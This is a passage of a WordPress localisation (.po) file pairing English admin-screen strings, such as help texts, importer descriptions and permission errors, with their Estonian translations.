msgstr "<strong>Püsiviide</strong> - &#8220;lühikirjeldus&#8221; on nime veebisõbralik variant. See koosneb enamasti vaid väiketähtedest ning sisaldab vaid tähti, numbreid ja sidekriipse."

#: wp-admin/edit-form-advanced.php:291
msgid "You can also create posts with the <a href=\"%s\">Press This bookmarklet</a>."
msgstr "Postitusi saab luua ka <a href=\"%s\">Press This -vahendi abil</a>."

#: wp-admin/user-edit.php:41
msgid "Your username cannot be changed, but you can use other fields to enter your real name or a nickname, and change which name to display on your posts."
msgstr "Kasutajanime muuta ei saa, kuid teistesse väljadesse saad kirjutada enda päris- või hüüdnime ning määrata, millist nime postituste juures näidatakse."

#: wp-admin/user-edit.php:42
msgid "Required fields are indicated; the rest are optional. Profile information will only be displayed if your theme is set up to do so."
msgstr "Nõutavad väljad on tähistatud, ülejäänute täitmine on vabatahtlik. Kasutajainfot näidatakse vaid juhul, kui teema seda eeldab."

#: wp-admin/user-edit.php:43
msgid "Remember to click the Update Profile button when you are finished."
msgstr "Ära unusta peale lõpetamist klõpsata uuendamisnuppu."

#: wp-admin/user-new.php:177
msgid "Editors can publish posts, manage posts as well as manage other people&#8217;s posts, etc."
msgstr "Toimetajad, kes saavad avaldada ja hallata nii enda kui teiste kasutajate postitusi."

#: wp-admin/comment.php:53
msgid "You can also moderate the comment from this screen using the Status box, where you can also change the timestamp of the comment."
msgstr "Siin saad olekut muutes postitust modereerida või ka muuta selle ajatemplit."

#: wp-admin/comment.php:52
msgid "You can edit the information left in a comment if needed. This is often useful when you notice that a commenter has made a typographical error."
msgstr "Soovi korral saad kommentaari sisu muuta. See on kasulik näiteks juhul, kui märkad kommentaaris mõnd õigekirjaviga."

#: wp-admin/nav-menus.php:713
msgid "Enter menu name here"
msgstr "Sisesta menüü nimi"

#: wp-admin/options-general.php:68
msgid "UTC means Coordinated Universal Time."
msgstr "UTC on Coordinated Universal Time (sisuliselt Greenwichi aeg ehk GMT)."

#: wp-admin/options-general.php:60
msgid "The fields on this screen determine some of the basics of your site setup."
msgstr "Selle ekraani väljad määravad mõned selle veebilehe põhivalikud."

#: wp-admin/options-reading.php:56
msgid "This screen contains the settings that affect the display of your content."
msgstr "Siin on seaded, mis mõjutavad sinu lehe sisu kuvamist."

#: wp-admin/options-discussion.php:21 wp-admin/options-general.php:69
#: wp-admin/options-media.php:24 wp-admin/options-permalink.php:23
#: wp-admin/options-permalink.php:32 wp-admin/options-permalink.php:39
#: wp-admin/options-reading.php:59 wp-admin/options-writing.php:22
msgid "You must click the Save Changes button at the bottom of the screen for new settings to take effect."
msgstr "Muudatuste salvestamiseks pead klõpsama salvestamisnuppu moodulite nimekirja all."

#: wp-admin/options-general.php:64
msgid "The WordPress URL and the Site URL can be the same (example.com) or different; for example, having the WordPress core files (example.com/wordpress) in a subdirectory instead of the root directory."
msgstr "WordPressi aadress ja veebilehe aadress võivad olla üks ja sama (example.com) või ka erinevad. Näiteks võib WordPressi põhifailid paigaldada juurkataloogi asemel alamkataloogi (example.com/wordpress)."

#: wp-admin/edit-link-form.php:59
msgid "The boxes for link name, web address, and description have fixed positions, while the others may be repositioned using drag and drop. You can also hide boxes you don&#8217;t use in the Screen Options tab, or minimize boxes by clicking on the title bar of the box."
msgstr "Viite pealkirja, veebiaadressi ja kirjelduse lahtrid on fikseeritud, teisi saab nihutada. Lahtreid saab peita Ekraanivalikute alt või minimeerida lahtri pealkirjale klõpsates."

#: wp-admin/update-core.php:193
msgid "While your site is being updated, it will be in maintenance mode. As soon as your updates are complete, your site will return to normal."
msgstr "Uuendamise ajal on su veebileht hooldusrežiimis. Kohe peale uuenduste lõpetamist taastatakse tavaline olukord."

#: wp-admin/update-core.php:210
msgid "Your plugins are all up to date."
msgstr "Kõik sinu pluginad on värsked."

#: wp-admin/update-core.php:148
msgid "You have the latest version of WordPress."
msgstr "Sul on WordPressi värskeim versioon."

#: wp-admin/update-core.php:291
msgid "Your themes are all up to date."
msgstr "Kõik sinu teemad on värsked."

#: wp-admin/update-core.php:170
msgid "An updated version of WordPress is available."
msgstr "WordPressi uus versioon on saadaval."

#: wp-admin/includes/nav-menu.php:200
msgid "Original: %s"
msgstr "Algne: %s"

#: wp-admin/plugin-editor.php:156 wp-admin/theme-editor.php:114
msgid "Function Name&hellip;"
msgstr "Funktsiooni nimi:"

#: wp-admin/import.php:94
msgid "Activate importer"
msgstr "Käivita importija"

#: wp-admin/edit-link-form.php:58
msgid "You can add or edit links on this screen by entering information in each of the boxes. Only the link&#8217;s web address and name (the text you want to display on your site as the link) are required fields."
msgstr "Siin saad viiteid lisada ja muuta, täites vastavad väljad. Kohustuslik on täita üksnes viite aadress ja pealkiri (nimi, mille all teda veebilehel näidatakse)."

#: wp-admin/includes/class-wp-upgrader-skins.php:438
msgid "Return to Importers"
msgstr "Tagasi importijate juurde"

#: wp-admin/includes/class-wp-upgrader-skins.php:428
msgid "Activate Plugin &amp; Run Importer"
msgstr "Lülita see plugin sisse ja käivita importija"

#: wp-admin/edit-tags.php:340
msgid "Categories can be selectively converted to tags using the <a href=\"%s\">category to tag converter</a>."
msgstr "Rubriike saab valikuliselt teisendada siltideks, kasutades <a href=\"%s\">vastavat teisendajat</a>."

#: wp-admin/includes/nav-menu.php:313
msgctxt "nav menu front page title"
msgid "Home: %s"
msgstr "Esileht: %s"

#: wp-admin/import.php:57 wp-admin/users.php:220
msgid "ERROR:"
msgstr "VIGA:"

#: wp-admin/import.php:57
msgid "The <strong>%s</strong> importer is invalid or is not installed."
msgstr "Importija <strong>%1$s</strong> on katki või paigaldamata."

#: wp-admin/edit-form-advanced.php:193 wp-admin/edit-form-advanced.php:376
msgid "Page Attributes"
msgstr "Lehe omadused"

#: wp-admin/includes/meta-boxes.php:754
msgid "Need help? Use the Help tab in the upper right of your screen."
msgstr "Vajad abi? Kasuta Abiinfo sakki ekraani paremas ülanurgas."

#: wp-admin/import.php:22
msgid "This screen lists links to plugins to import data from blogging/content management platforms. Choose the platform you want to import from, and click Install Now when you are prompted in the popup window. If your platform is not listed, click the link to search the plugin directory for other importer plugins to see if there is one for your platform."
msgstr "Siin kuvatakse pluginad andmete importimiseks teistelt ajaveebi- ja sisuhaldusplatvormidelt. Vali soovitav platvorm ning kui avaneb hüpikaken, klõpsa Paigalda. Kui soovitavat platvormi loetelus pole, klõpsa otsinguviidet ja püüa leida mõni sobiv plugin."

#: wp-admin/export.php:50
msgid "Once generated, your WXR file can be imported by another WordPress site or by another blogging platform able to access this format."
msgstr "Loodud WXR-faili saab importida mõnda teise WordPressi veebilehte või mõnda teise seda vormingut tundvasse ajaveebiplatvormi."

#: wp-admin/link-manager.php:49
msgid "You can customize the display of this screen using the Screen Options tab and/or the dropdown filters above the links table."
msgstr "Seda ekraani saad kohandada ekraaniseadete ja/või rippmenüü filtrite abil."

#: wp-admin/plugin-editor.php:131
msgid "Choose a plugin to edit from the menu in the upper right and click the Select button. Click once on any file name to load it in the editor, and make your changes. Don&#8217;t forget to save your changes (Update File) when you&#8217;re finished."
msgstr "Vali paremalt ülalt menüüst muudetav plugin ja klõpsa Vali -nuppu. Faili avamiseks klõpsa soovitud failinimele ning tee soovitud muudatused. Ära unusta töö lõpus muudatusi salvestada."

#: wp-admin/plugins.php:353
msgid "Most of the time, plugins play nicely with the core of WordPress and with other plugins. Sometimes, though, a plugin&#8217;s code will get in the way of another plugin, causing compatibility issues. If your site starts doing strange things, this may be the problem. Try deactivating all your plugins and re-activating them in various combinations until you isolate which one(s) caused the issue."
msgstr "Enamasti saavad pluginad WordPressi põhiosaga ja teiste pluginatega kenasti läbi. Ent vahel võib mõni plugin siiski hakata teisi segama - kui veebileht hakkab veidralt käituma, on tihti just siin probleem. Proovi kõik pluginad esmalt välja lülitada ning lülita seejärel nad ükshaaval uuesti sisse,  kuni leiad selle või need, mis pahanduse põhjustas."

#: wp-admin/widgets.php:60
msgid "Widgets may be used multiple times. You can give each widget a title, to display on your site, but it&#8217;s not required."
msgstr "Mooduleid saab kasutada korduvalt. Igale moodulile saab soovi korral anda eraldi pealkirja, kuid see ei ole nõutav."

#: wp-admin/widgets.php:61
msgid "Enabling Accessibility Mode, via Screen Options, allows you to use Add and Edit buttons instead of using drag and drop."
msgstr "Ekraaniseadete ligipääsetavusrežiimi abil saab lohistamise asendada lisamis- ja muutmisnupuga."

#: wp-admin/theme-editor.php:27
msgid "You can use the Theme Editor to edit the individual CSS and PHP files which make up your theme."
msgstr "Teemaredaktori abil saab muuta üksikuid CSS- ja PHP-faile,  millest teema koosneb."

#: wp-admin/theme-editor.php:28
msgid "Begin by choosing a theme to edit from the dropdown menu and clicking Select. A list then appears of all the template files. Clicking once on any file name causes the file to appear in the large Editor box."
msgstr "Esmalt vali rippmenüüst teema ja klõpsa Vali -nuppu. Seejärel kuvatakse mallide nimekiri, millest mõne valimise järel avatakse see suures redaktoriaknas."

#: wp-admin/widgets.php:52
msgid "Widgets are independent sections of content that can be placed into any widgetized area provided by your theme (commonly called sidebars). To populate your sidebars/widget areas with individual widgets, drag and drop the title bars into the desired area. By default, only the first widget area is expanded. To populate additional widget areas, click on their title bars to expand them."
msgstr "Moodulid on eraldi sisukogumid, mida saab paigaldada teema poolt määratud aladele (enamasti nimetatakse neid külgpaanideks). Moodulite kasutamiseks lohista nende pealkiri soovitavasse paika. Vaikimisi kasutatakse vaid ühte külgpaani, muude alade kasutuselevõtuks klõpsa nende pealkirjadele."

#: wp-admin/theme-editor.php:32
msgid "<strong>Advice:</strong> think very carefully about your site crashing if you are live-editing the theme currently in use."
msgstr "<strong>Hoiatus:</strong> kui muudad hetkel kasutuses olevat teemat, pead olema valmis ka veebilehe tõrgeteks."

#: wp-admin/theme-editor.php:31
msgid "After typing in your edits, click Update File."
msgstr "Pärast muudatuste tegemist klõpsa Uuenda -nuppu."

#: wp-admin/includes/meta-boxes.php:717
msgid "(no parent)"
msgstr "(esimene tase)"

#: wp-admin/edit-form-advanced.php:371
msgid "<strong>Template</strong> - Some themes have custom templates you can use for certain pages that might have additional features or custom layouts. If so, you&#8217;ll see them in this dropdown menu."
msgstr "<strong>Lehemall</strong> - mõned teemad kasutavad omi lehemalle, mida saad lehtedele lisavõimaluste või uue kujunduse andmiseks kasutada. Kui neid on, näed neid siin."

#: wp-admin/edit-form-advanced.php:370
msgid "<strong>Parent</strong> - You can arrange your pages in hierarchies. For example, you could have an &#8220;About&#8221; page that has &#8220;Life Story&#8221; and &#8220;My Dog&#8221; pages under it. There are no limits to how many levels you can nest pages."
msgstr "<strong>Ülemleht</strong> - lehti saab paigutada hierarhiasse. Näiteks võib olla leht  &#8220;Autorist&#8221;, millel on alamlehed &#8220;Minu elulugu&#8221; ja &#8220;Minu koer&#8221;.  Alamlehtede tasemete arv ei ole piiratud."

#: wp-admin/includes/class-wp-upgrader-skins.php:209
msgid "All updates have been completed."
msgstr "Kõik uuendused on tehtud."

#: wp-admin/edit-tags.php:206
msgid "When adding a new tag on this screen, you&#8217;ll fill in the following fields:"
msgstr "Uue sildi lisamisel pead täitma järgmised väljad:"

#: wp-admin/edit-tags.php:185
msgid "You can use categories to define sections of your site and group related posts. The default category is &#8220;Uncategorized&#8221; until you change it in your <a href=\"%s\">writing settings</a>."
msgstr "Rubriike saab kasutada veebilehe alajaotiste määramiseks ja postituste rühmitamiseks. Vaikimisi kategooriaks on Varia, seda saab aga <a href=\"%s\">kirjutusseadetest</a> muuta."

#: wp-admin/edit-tags.php:194
msgid "What&#8217;s the difference between categories and tags? Normally, tags are ad-hoc keywords that identify important information in your post (names, subjects, etc) that may or may not recur in other posts, while categories are pre-determined sections. If you think of your site like a book, the categories are like the Table of Contents and the tags are like the terms in the index."
msgstr "Mis vahe on rubriikidel ja siltidel? Tavaliselt on siltideks töö käigus leitud võtmesõnad, mis tõstavad esile postituses leiduvat põhiinfot (nimed, teemad jne), mis võib esineda teistes postitustes või mitte. Rubriigid seevastu on eelnevalt paikapandud alajaotised. Kui ajaveeb on raamat, siis rubriigid on otsekui sisukord, sildid aga on võtmesõnad nimeregistris."

#: wp-admin/edit-tags.php:219
msgid "You can change the display of this screen using the Screen Options tab to set how many items are displayed per screen and to display/hide columns in the table."
msgstr "Seda ekraani saad muuta ekraaniseadete alt - näiteks määrata, mitu elementi korraga kuvatakse või milliseid veerge näidatakse."

#: wp-admin/edit-tags.php:217
msgid "<strong>Description</strong> - The description is not prominent by default; however, some themes may display it."
msgstr "<strong>Kirjeldus</strong> - seda vaikimisi esile ei tõsteta, kuid mõned teemad võivad seda näidata."

#: wp-admin/edit-tags.php:209
msgid "<strong>Name</strong> - The name is how it appears on your site."
msgstr "<strong>Nimi</strong> - nimi sellisena, nagu seda veebilehel näidatakse."

#: wp-admin/edit-tags.php:204
msgid "When adding a new category on this screen, you&#8217;ll fill in the following fields:"
msgstr "Uue rubriigi lisamiseks pead täitma järgmised väljad:"

#: wp-admin/upload.php:201
msgid "You can narrow the list by file type/status using the text link filters at the top of the screen. You also can refine the list by date using the dropdown menu above the media table."
msgstr "Nimekirja saad filtreerida failitüübi ja oleku järgi, kasutades filtreid ekraani ülaservas. Lisaks saad ülal asuva rippmenüü abil valida faile kuupäeva alusel."

#: wp-admin/custom-header.php:633
msgid "Default Images"
msgstr "Vaikimisi pildid"

#: wp-admin/custom-header.php:811
msgid "Crop Header Image"
msgstr "Kärbi päisepilti"

#: wp-admin/custom-header.php:650
msgid "This will remove the header image. You will not be able to restore any customizations."
msgstr "See kustutab päisepildi, ühtki hilisemat muudatust enam kasutada ei saa."

#: wp-admin/custom-header.php:651
msgid "Remove Header Image"
msgstr "Eemalda päisepilt"

#: wp-admin/custom-header.php:659
msgid "Reset Image"
msgstr "Taasta algne pilt"

#: wp-admin/custom-header.php:661
msgid "This will restore the original header image. You will not be able to restore any customizations."
msgstr "See taastab algse päisepildi, ühtki hilisemat muudatust enam kasutada ei saa."

#: wp-admin/custom-header.php:662
msgid "Restore Original Header Image"
msgstr "Taasta algne päisepilt"

#: wp-admin/custom-header.php:685
msgid "Text Color"
msgstr "Kirja värvus"

#: wp-admin/custom-header.php:861
msgid "Image Upload Error"
msgstr "Viga pildi üleslaadimisel"

#: wp-admin/custom-header.php:815
msgid "You need Javascript to choose a part of the image."
msgstr "Pildi osa väljavalimine eeldab Javascripti lubamist."

#: wp-admin/includes/class-wp-posts-list-table.php:660
msgid "Edit this item"
msgstr "Muuda seda"

#: wp-admin/includes/class-wp-posts-list-table.php:661
msgid "Edit this item inline"
msgstr "Muuda aknas"

#: wp-admin/includes/class-wp-posts-list-table.php:665
msgid "Restore this item from the Trash"
msgstr "Taasta see prügikastist"

#: wp-admin/includes/class-wp-posts-list-table.php:667
msgid "Move this item to the Trash"
msgstr "Saada see prügikasti"

#: wp-admin/includes/class-wp-posts-list-table.php:669
msgid "Delete this item permanently"
msgstr "Kustuta see  jäädavalt"

#: wp-admin/includes/meta-boxes.php:591
msgid "Allow comments."
msgstr "Luba kommenteerimist."

#: wp-admin/includes/import.php:171
msgid "Install the LiveJournal importer to import posts from LiveJournal using their API."
msgstr "Paigalda LiveJournali importija, et importida sealseid postitusi LiveJournali API abil."

#: wp-admin/includes/class-wp-upgrader-skins.php:328
#: wp-admin/includes/class-wp-upgrader-skins.php:373
#: wp-admin/includes/class-wp-upgrader-skins.php:672
msgid "Return to WordPress Updates"
msgstr "Tagasi uuenduste juurde"

#: wp-admin/edit-form-advanced.php:343
msgid "<strong>Publish</strong> - You can set the terms of publishing your post in the Publish box. For Status, Visibility, and Publish (immediately), click on the Edit link to reveal more options. Visibility includes options for password-protecting a post or making it stay at the top of your blog indefinitely (sticky). Publish (immediately) allows you to set a future or past date and time, so you can schedule a post to be published in the future or backdate a post."
msgstr "<strong>Avalda</strong> - siin saad määrata avaldamistingimused. Lisaks kolmele algsele (Olek, Nähtavus, Avalda kohe) saad täiendavaid valikuid Muuda-viidet klõpsates. Nähtavus sisaldab näiteks postituse paroolikaitsevõimalusi ning selle püsivat esiplaanil hoidmist (nn <em<sticky</em>).  Avalda kohe -valik võimaldab määrata avaldamise aega nii tulevikku kui minevikku, määrates vastavalt kas avaldamise mingiks tulevaseks ajaks või muuta juba avaldatud postituse avaldamisaega."

#: wp-admin/edit-form-advanced.php:350
msgid "<strong>Featured Image</strong> - This allows you to associate an image with your post without inserting it. This is usually useful only if your theme makes use of the featured image as a post thumbnail on the home page, a custom header, etc."
msgstr "<strong>Tunnuspilt</strong> - see võimaldab siduda postitusega pildi ilma seda postitusse lisamata. Enamasti on sellest kasu ainult juhul, kui kasutatav teema võimaldab postitustes tunnuspilte kasutada (postituse ikooni, eraldi päise vms vormis)."

#: wp-admin/edit-form-advanced.php:280
msgid "<strong>Title</strong> - Enter a title for your post. After you enter a title, you&#8217;ll see the permalink below, which you can edit."
msgstr "<strong>Pealkiri</strong> - siia käib postituse pealkiri. Peale selle sisestamist luuakse postituse püsiviide, mida saab hiljem ka muuta."

#: wp-admin/edit-form-advanced.php:362
msgid "<strong>Discussion</strong> - You can turn comments and pings on or off, and if there are comments on the post, you can see them here and moderate them."
msgstr "<strong>Arutelu</strong> - kommentaare ja tagasisideviiteid saab lülitada sisse välja. Kui postitust on kommenteeritud, saab kommentaare siin näha ja modereerida."

#: wp-admin/edit.php:180
msgid "You can refine the list to show only posts in a specific category or from a specific month by using the dropdown menus above the posts list. Click the Filter button after making your selection. You also can refine the list by clicking on the post author, category or tag in the posts list."
msgstr "Nimekirja võib kohandada ka näitama postitusi mingist kindlast rubriigist või mingist kindlast kalendrikuust, kasutades selleks rippmenüüd postituste kohal. Peale valiku tegemist klõpsa Filtreeri-nuppu. Samamoodi võid valida postitusi autori, rubriigi või sildi alusel."

#: wp-admin/edit.php:179
msgid "You can view posts in a simple title list or with an excerpt. Choose the view you prefer by clicking on the icons at the top of the list on the right."
msgstr "Postitusi võib kuvada lihtsa pealkirjade loendina või koos juhtkirjaga. Seda saab valida ikoonidega ülal paremal."

#: wp-admin/edit.php:177
msgid "You can hide/display columns based on your needs and decide how many posts to list per screen using the Screen Options tab."
msgstr "Saad näidata/peita veerge ning otsustada, mitut postitust korraga näidata (ekraaniseadete abil)."

#: wp-admin/edit.php:178
msgid "You can filter the list of posts by post status using the text links in the upper left to show All, Published, Draft, or Trashed posts. The default view is to show all posts."
msgstr "Saad filtreerida postitusi oleku järgi, klõpsates vastavale märksõnale: Kõik, Avaldatud, Mustandid või Prügi. Vaikimisi kuvatakse kõik postitused."

#: wp-admin/users.php:33
msgid "You can customize the display of this screen in a number of ways:"
msgstr "Seda ekraani saad kohandada mitmel eri viisil:"

#: wp-admin/edit.php:187
msgid "Hovering over a row in the posts list will display action links that allow you to manage your post. You can perform the following actions:"
msgstr "Hiirekursorit postituse kohale viies kuvatakse mõned haldustegevused. Siin saad teha järgmist:"

#: wp-admin/plugins.php:441
msgid "Search Installed Plugins"
msgstr "Otsi paigaldatud pluginaid"

#: wp-admin/nav-menus.php:19
msgid "Your theme does not support navigation menus or widgets."
msgstr "Sinu kasutatav teema ei toeta navigatsioonimenüüsid ega -mooduleid."

#: wp-admin/async-upload.php:91
msgid "&#8220;%s&#8221; has failed to upload due to an error"
msgstr "Faili &#8220;%s&#8221; üleslaadimine ebaõnnestus"

#: wp-admin/includes/import.php:164 wp-admin/tools.php:21 wp-admin/tools.php:59
msgid "Categories and Tags Converter"
msgstr "Rubriikide ja siltide teisendaja"

#: wp-admin/includes/import.php:165
msgid "Install the category/tag converter to convert existing categories to tags or tags to categories, selectively."
msgstr "Paigalda rubriigi-sildi teisendaja, et teisendada olemasolevaid rubriike valikuliselt siltideks või vastupidi."

#: wp-admin/user-edit.php:409
msgid "There is a pending change of your e-mail to <code>%1$s</code>. <a href=\"%2$s\">Cancel</a>"
msgstr "Sinu e-postiaadressiks soovitakse panna <code>%1$s</code>. <a href=\"%2$s\">Tühista</a>"

#: wp-admin/includes/nav-menu.php:693
msgid "Most Recent"
msgstr "Värskeimad"

#: wp-admin/export.php:179 wp-admin/export.php:211
msgid "End Date"
msgstr "Lõppaeg"

#: wp-admin/export.php:175 wp-admin/export.php:207
msgid "Start Date"
msgstr "Algusaeg"

#: wp-admin/includes/import.php:201
msgid "Install the WordPress importer to import posts, pages, comments, custom fields, categories, and tags from a WordPress export file."
msgstr "Paigalda WordPressi importija, et importida postitusi, kommentaare, lisavälju, lehti, rubriike ja silte WordPressi ekspordifailist."

#: wp-admin/includes/import.php:189
msgid "Install the RSS importer to import posts from an RSS feed."
msgstr "Paigalda RSS-i importija, et importida postitusi RSS-uudisevoost"

#: wp-admin/includes/import.php:183
msgid "Install the blogroll importer to import links in OPML format."
msgstr "Paigalda viiteimportija, et importida OPML-vormingus viiteid."

#: wp-admin/includes/import.php:177
msgid "Install the Movable Type importer to import posts and comments from a Movable Type or TypePad blog."
msgstr "Paigalda Movable Type-i importija, et importida postitusi ja kommentaare Movable Type-i või Typepadi ajaveebidest."

#: wp-admin/includes/import.php:159
msgid "Install the Blogger importer to import posts, comments, and users from a Blogger blog."
msgstr "Paigalda Bloggeri importija sealse ajaveebi postituste, kommentaaride ja kasutajade importimiseks."

#: wp-admin/import.php:101
msgid "Install importer"
msgstr "Paigalda importija"

#: wp-admin/includes/class-wp-ms-sites-list-table.php:143
msgctxt "site"
msgid "Mark as Spam"
msgstr "Märgi spämmiks"

#: wp-admin/theme-editor.php:178
msgctxt "Theme stylesheets in theme editor"
msgid "Styles"
msgstr "Stiilid"

#: wp-admin/includes/plugin-install.php:179
msgctxt "Plugin Installer"
msgid "Tag"
msgstr "silt"

#: wp-admin/includes/theme-install.php:67
msgctxt "Theme Installer"
msgid "Tag"
msgstr "silt"

#: wp-admin/includes/media.php:2131
msgctxt "verb"
msgid "Clear"
msgstr "Tühjenda"

#: wp-admin/edit-tag-form.php:116 wp-admin/edit-tags.php:502
msgctxt "Taxonomy Description"
msgid "Description"
msgstr "Kirjeldus"

#: wp-admin/edit-tag-form.php:90 wp-admin/edit-tags.php:455
msgctxt "Taxonomy Slug"
msgid "Slug"
msgstr "Püsiviide"

#: wp-admin/edit-tag-form.php:84 wp-admin/edit-tags.php:449
msgctxt "Taxonomy Name"
msgid "Name"
msgstr "Nimi"

#: wp-admin/edit-tag-form.php:106 wp-admin/edit-tags.php:462
msgctxt "Taxonomy Parent"
msgid "Parent"
msgstr "Ülemleht"

#: wp-admin/includes/class-wp-comments-list-table.php:223
msgctxt "comment"
msgid "Mark as Spam"
msgstr "Märgi spämmiks"

#: wp-admin/custom-background.php:282
msgid "Remove Background Image"
msgstr "Eemalda taustapilt"

#: wp-admin/edit-comments.php:108 wp-admin/edit-comments.php:145
msgid "Comments on &#8220;%s&#8221;"
msgstr "Kommentaarid postitusele &#8220;%s&#8221;"

#: wp-admin/includes/nav-menu.php:1182
msgid "The Walker class named <strong>%s</strong> does not exist."
msgstr "Walkeri klassi nimega <strong>%s</strong> ei ole olemas."

#: wp-admin/includes/nav-menu.php:1217
msgid "Show advanced menu properties"
msgstr "Näita menüü täiendavaid omadusi"

#. translators: %s: add new taxonomy label
#: wp-admin/includes/meta-boxes.php:495 wp-admin/press-this.php:557
msgid "+ %s"
msgstr "+ %s"

#: wp-admin/update-core.php:276 wp-admin/update-core.php:324
msgid "You have version %1$s installed. Update to %2$s."
msgstr "Kasutusel on versioon %1$s. Uuenda versioonile %2$s."

#: wp-admin/includes/nav-menu.php:312 wp-admin/includes/nav-menu.php:784
msgctxt "nav menu home label"
msgid "Home"
msgstr ""

#: wp-admin/includes/class-wp-ms-themes-list-table.php:252
#: wp-admin/includes/class-wp-ms-themes-list-table.php:295
msgid "Enable"
msgstr "Lülita sisse"

#: wp-admin/includes/class-wp-ms-sites-list-table.php:266
msgctxt "%1$s: site name. %2$s: site tagline."
msgid "%1$s &#8211; <em>%2$s</em>"
msgstr "%1$s &#8211; <em>%2$s</em>"

#: wp-admin/includes/class-wp-ms-sites-list-table.php:164
msgctxt "site"
msgid "Registered"
msgstr "Registreeritud"

#: wp-admin/includes/class-wp-ms-sites-list-table.php:144
#: wp-admin/includes/class-wp-ms-sites-list-table.php:294
msgctxt "site"
msgid "Not Spam"
msgstr "Pole spämm"

#: wp-admin/includes/class-wp-ms-users-list-table.php:120
msgctxt "user"
msgid "Registered"
msgstr "Registreeritud"

#: wp-admin/includes/class-wp-ms-sites-list-table.php:291
msgctxt "verb; site"
msgid "Archive"
msgstr "Arhiivi"

#: wp-admin/includes/class-wp-ms-sites-list-table.php:197
#: wp-admin/includes/class-wp-ms-sites-list-table.php:296
msgctxt "site"
msgid "Spam"
msgstr "Spämm"

#: wp-admin/includes/class-wp-comments-list-table.php:228
#: wp-admin/includes/class-wp-comments-list-table.php:461
msgctxt "comment"
msgid "Not Spam"
msgstr "Pole spämm"

#: wp-admin/custom-background.php:297
msgid "This will restore the original background image. You will not be able to restore any customizations."
msgstr "See taastab algse taustapildi, ühtki hilisemat muudatust enam kasutada ei saa."

#: wp-admin/nav-menus.php:716 wp-admin/nav-menus.php:787
msgid "Create Menu"
msgstr "Loo menüü"

#: wp-admin/includes/dashboard.php:955
msgid "WordPress Blog"
msgstr "WordPressi ajaveeb"

#: wp-admin/user-edit.php:329 wp-admin/user-edit.php:331
msgid "&mdash; No role for this site &mdash;"
msgstr "&mdash; Selle veebilehe jaoks pole sobivat rolli &mdash;"

#: wp-admin/options-writing.php:118 wp-admin/tools.php:43
msgid "Use Press This to clip text, images and videos from any web page. Then edit and add more straight from Press This before you save or publish it in a post on your site."
msgstr "Press This sobib teksti, piltide ja videoklippide laadimiseks mistahes veebilehelt. Seejärel võid seda muuta, lisada uut materjali ning viimaks enda veebilehel avaldada."

#: wp-admin/users.php:329
msgid "Remove Users from Site"
msgstr "Eemalda veebilehe kasutajad"

#: wp-admin/includes/post.php:651
msgid "You are not allowed to create posts or drafts on this site."
msgstr "Sul ei ole õigust sellele veebilehele postitusi ja mustandeid lisada."

#: wp-admin/includes/plugin.php:421
msgid "Custom site deleted message."
msgstr "Kohandatud teade veebilehe kustutamisest."

#: wp-admin/includes/plugin.php:423
msgid "Custom site suspended message."
msgstr "Kohandatud teade veebilehe töö peatamisest."

#: wp-admin/includes/plugin.php:422
msgid "Custom site inactive message."
msgstr "Kohandatud veebilehe maasolekuteade"

#: wp-admin/includes/class-wp-ms-sites-list-table.php:136
msgid "No sites found."
msgstr "Saite pole."

#: wp-admin/includes/meta-boxes.php:550
msgid "Trackbacks are a way to notify legacy blog systems that you&#8217;ve linked to them. If you link other WordPress sites they&#8217;ll be notified automatically using <a href=\"http://codex.wordpress.org/Introduction_to_Blogging#Managing_Comments\" target=\"_blank\">pingbacks</a>, no other action necessary."
msgstr "Trackback-viited on viis teatada vanematele ajaveebisüsteemidele, et oled neile viidanud. Teisi WordPressi ajaveebe aga teavitatakse automaatselt <a href=\"http://codex.wordpress.org/Introduction_to_Blogging#Managing_Comments\" target=\"_blank\">pingback-viidete</a> abil, täiendavalt ei pea midagi tegema."

#: wp-admin/includes/post.php:649
msgid "You are not allowed to create pages on this site."
msgstr "Sul ei ole õigust sellele veebilehele lehti lisada."

#: wp-admin/includes/schema.php:369
msgid "My Site"
msgstr "Minu leht"

#: wp-admin/includes/upgrade.php:295
msgid "New WordPress Site"
msgstr "Uus WordPressi veebileht"

#: wp-admin/update.php:155 wp-admin/update.php:176
msgid "You do not have sufficient permissions to update themes for this site."
msgstr "Sul pole piisavaid õigusi selle veebilehe teemade uuendamiseks."

#: wp-admin/update.php:24 wp-admin/update.php:50 wp-admin/update.php:71
msgid "You do not have sufficient permissions to update plugins for this site."
msgstr "Sul pole piisavaid õigusi selle veebilehe pluginate uuendamiseks."

#: wp-admin/theme-install.php:16 wp-admin/update.php:202
#: wp-admin/update.php:232
msgid "You do not have sufficient permissions to install themes on this site."
msgstr "Sul pole piisavaid õigusi selle veebilehe teemade paigaldamiseks."

#: wp-admin/theme-editor.php:18
msgid "You do not have sufficient permissions to edit templates for this site."
msgstr "Sul pole piisavaid õigusi selle veebilehe mallide muutmiseks."

#: wp-admin/plugins.php:31 wp-admin/plugins.php:66 wp-admin/plugins.php:135
msgid "You do not have sufficient permissions to activate plugins for this site."
msgstr "Sul pole piisavaid õigusi selle veebilehe pluginate sisselülitamiseks."

#: wp-admin/plugin-install.php:18 wp-admin/update.php:96
#: wp-admin/update.php:127
msgid "You do not have sufficient permissions to install plugins on this site."
msgstr "Sul pole piisavaid õigusi  sellele veebilehele pluginate paigaldamiseks."

#: wp-admin/plugins.php:160 wp-admin/plugins.php:180
msgid "You do not have sufficient permissions to deactivate plugins for this site."
msgstr "Sul pole piisavaid õigusi selle veebilehe pluginate väljalülitamiseks."

#: wp-admin/plugins.php:211
msgid "You do not have sufficient permissions to delete plugins for this site."
msgstr "Sul pole piisavaid õigusi selle veebilehe pluginate kustutamiseks."

#: wp-admin/link-add.php:13
msgid "You do not have sufficient permissions to add links to this site."
msgstr "Sul pole sellel veebilehel viidete lisamise õigusi."

#: wp-admin/includes/bookmark.php:303 wp-admin/link-manager.php:12
#: wp-admin/link-manager.php:67
msgid "You do not have sufficient permissions to edit the links for this site."
msgstr "Sul pole sellel veebilehel viidete muutmise õigusi."

#: wp-admin/export.php:13
msgid "You do not have sufficient permissions to export the content of this site."
msgstr "Sul pole piisavaid õigusi selle veebilehe sisu ekspordiks."

#: wp-admin/import.php:15
msgid "You do not have sufficient permissions to import content in this site."
msgstr "Sul pole õigust sellesse veebilehte sisu importida."

#: wp-admin/import.php:59
msgid "If you have posts or comments in another system, WordPress can import those into this site. To get started, choose a system to import from below:"
msgstr "Kui sul on postitusi või kommentaare muudes süsteemides, võib WordPress need importida siia veebilehele. Esmalt vali siit süsteem, millest importida:"

#: wp-admin/plugin-editor.php:18
msgid "You do not have sufficient permissions to edit plugins for this site."
